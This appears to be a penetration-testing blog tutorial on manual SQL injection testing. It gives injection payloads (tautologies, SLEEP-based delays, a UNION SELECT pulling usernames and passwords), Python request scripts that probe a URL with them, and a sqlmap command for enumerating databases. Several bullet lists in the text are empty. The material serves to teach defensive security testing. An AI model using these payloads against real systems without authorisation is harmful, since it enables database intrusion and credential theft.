Manual Testing for SQL Injection: A Deep Dive for Penetration Testers

In this installment of our Learn Pentesting series, we’ll take a deep dive into the art and science of manually testing for SQL injection vulnerabilities. This post is aimed at seasoned penetration testers—or those striving to become one—by providing detailed methodologies, code examples, and best practices. Although many practitioners eventually incorporate automated tools into their workflow, mastering manual techniques is crucial for understanding the underlying mechanics of injection attacks and identifying subtle vulnerabilities that might be missed by automated scanners.


Introduction

SQL injection remains one of the most critical and commonly exploited vulnerabilities in web applications. It occurs when user input is improperly sanitized, allowing an attacker to modify SQL queries executed by the application. While many modern frameworks offer built-in protection via parameterized queries and ORM layers, legacy systems and custom implementations can still be vulnerable. In this guide, we’ll focus on manual testing techniques—fundamental skills every pentester should master.


Understanding SQL Injection

At its core, SQL injection is about tricking the backend database into executing unintended commands. This may allow an attacker to:

The goal of manual testing is to understand the database’s response to crafted input, revealing clues about its structure, error handling, and potential injection points.


Preparing Your Test Environment

Before testing, ensure you have:


Methodologies for Manual SQL Injection Testing

Error-Based SQL Injection

Error-based SQL injection involves intentionally submitting malformed input to trigger database error messages. These errors often reveal information about the database type (e.g., MySQL, PostgreSQL) and its structure.

Example:
If a URL parameter is vulnerable, appending a single quote (') might result in an error message such as:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...

Boolean-Based (Content-Based) SQL Injection

Boolean-based techniques rely on altering the query logic to determine if the application’s response changes based on true/false conditions.

Example:

Time-Based Blind SQL Injection

When error messages are suppressed, a time delay in the response can indicate a successful injection. By forcing the database to pause (using commands like SLEEP() in MySQL), you can infer the vulnerability.

Example:
http://example.com/item?id=1' AND SLEEP(5)--
If the response is delayed by 5 seconds, it’s likely that the injection point exists.

Union-Based SQL Injection

Union-based SQL injection involves combining a legitimate query with an injected query using the UNION SQL operator. This method is used to extract data from other tables.

Example:
If a query is structured as:

SELECT name, description FROM products WHERE id = 'user_input';

An attacker might inject:

1' UNION SELECT username, password FROM users-- 

If the page returns a mix of product details and user credentials (or if the structure of the output changes), the injection is successful.


Practical Code Examples

Manual testing can be supported by lightweight scripts to automate repetitive checks. Below are Python examples using the requests library.

Example 1: Basic Error-Based Injection Test

import requests

# The target URL where the injection is suspected
target_url = "http://example.com/item?id="

# A list of payloads to test for SQL injection
payloads = [
    "'",                      # Simple single quote
    "' OR '1'='1",           # Classic tautology-based payload
    "'; -- ",                # Attempt to terminate query
    "' OR 1=1--",            # Numeric comparison
]

for payload in payloads:
    test_url = target_url + payload
    print(f"Testing: {test_url}")
    response = requests.get(test_url)
    # Look for SQL error patterns or abnormal behavior in the response
    if "error" in response.text.lower():
        print("Potential SQL error detected with payload:", payload)
    else:
        print("No obvious error message, further analysis required.")

Example 2: Time-Based Blind SQL Injection Test

import time
import requests

target_url = "http://example.com/item?id="
payload = "' AND SLEEP(5)--"

start_time = time.time()
response = requests.get(target_url + payload)
end_time = time.time()

if end_time - start_time > 4.5:  # Allowing some margin for network delay
    print("Time delay detected - potential SQL injection vulnerability!")
else:
    print("No significant delay detected.")

Example 3: Union-Based SQL Injection Exploration

Manual testing for union-based injection often starts with identifying the number of columns returned by the query. A simple technique is to try ordering numbers in the payload:

import requests

target_url = "http://example.com/item?id="

# The payload to identify the number of columns
for i in range(1, 10):
    payload = f"1' UNION SELECT {', '.join(str(j) for j in range(1, i+1))}--"
    test_url = target_url + payload
    print("Testing with payload:", payload)
    response = requests.get(test_url)
    if "SQL" not in response.text and response.status_code == 200:
        print(f"Possible match with {i} columns. Examine the response carefully.")
        # Further analysis may involve checking if any of the injected numbers are reflected.

Note:
Ensure to analyze the responses carefully. Sometimes, applications suppress error messages, and responses might require manual inspection for subtle differences (like changes in content layout or missing data).


Leveraging Automated Tools

While manual testing builds a robust understanding of how SQL injection vulnerabilities manifest, automation tools like sqlmap can accelerate the exploitation process once a vulnerability is confirmed. Sqlmap can automatically:

Example command:

sqlmap -u "http://example.com/item?id=1" --batch --dbs

This command tells sqlmap to test the provided URL for injection vulnerabilities and, if found, enumerate available databases without interactive prompts.


Conclusion

Manual testing for SQL injection is a foundational skill for penetration testers. By understanding and executing techniques such as error-based, boolean-based, time-based, and union-based injection tests, you gain a deeper insight into the vulnerabilities that can exist within web applications. Although manual testing is time-consuming, it empowers you with the nuanced understanding needed to validate findings and complement automated tools like sqlmap.

Remember:

We hope this deep dive into manual SQL injection testing serves as a valuable reference in your pentesting toolkit. Stay tuned for the next installment of our Learn Pentesting series for more in-depth technical guides.

Happy testing!

Ready to see how Numorian can help your business?

Contact us today to learn more about our services and how we can support your business.